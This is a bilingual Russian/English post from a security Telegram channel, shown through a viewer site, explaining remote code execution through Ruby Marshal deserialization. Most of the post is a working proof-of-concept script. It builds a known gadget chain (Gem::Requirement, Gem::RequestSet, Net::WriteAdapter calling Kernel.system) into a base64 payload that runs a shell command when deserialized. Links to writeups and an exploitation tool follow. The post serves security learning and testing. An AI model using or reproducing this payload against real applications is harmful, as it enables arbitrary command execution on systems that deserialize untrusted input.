TGViewer
Monkey Hacker Monkey Hacker @monkey_hacker · 785 subscribers
Post #44 1.09K
Ruby Insecure Deserialization

# RU

В Ruby также возможна иногда сделать RCE через десериализацию. В основном это возможно благодаря методу Marshall, который сериализует и десериализует объекты.

Снизу вы можете найти PoC

# EN

In Ruby, it is also possible to sometimes do RCE through deserialization. This is mostly possible through the Marshall method, which serializes and deserializes objects.

At the bottom you can find the PoC


require 'base64'
Gem::SpecFetcher
Gem::Installer
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end
wa1 = Net::WriteAdapter.new(Kernel, :system)
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id")
wa2 = Net::WriteAdapter.new(rs, :resolve)
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)


# RU

Более подробно можно узнать здесь

# EN

Learn more here

https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html

https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_ruby.html

https://bishopfox.com/blog/ruby-vulnerabilities-exploits


# RU

Есть еще тулза

# EN

There is also a tool

https://github.com/klezVirus/deser-ruby
More from @monkey_hacker
  1. Aug 28, 2024First hop, second hop Как-то увидел понятие Double Hop в Kerberos. Думал, что ничего в нем…
  2. Apr 10, 2024Вопрос собесов - один из самых популярных. Что надо знать, как собесят и как собесить - по…
  3. Apr 10, 2024У меня тут есть знакомый, который решил рассказывать про ИБ с перспективы менеджера, поэто…
  4. Apr 8, 2024Kubectl apply Йо, сегодня я принес несколько ссылочек, где можно почитать про работу разли…
  5. Jan 16, 2024Oh yes, ping pong Под конец прошлого года, прошла шумиха с Apache Ofbiz, который позволял…
  6. Dec 31, 2023Пора и мне сказать что-то ✨ В этом году я очень старался повысить свои навыки, а вы могли…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →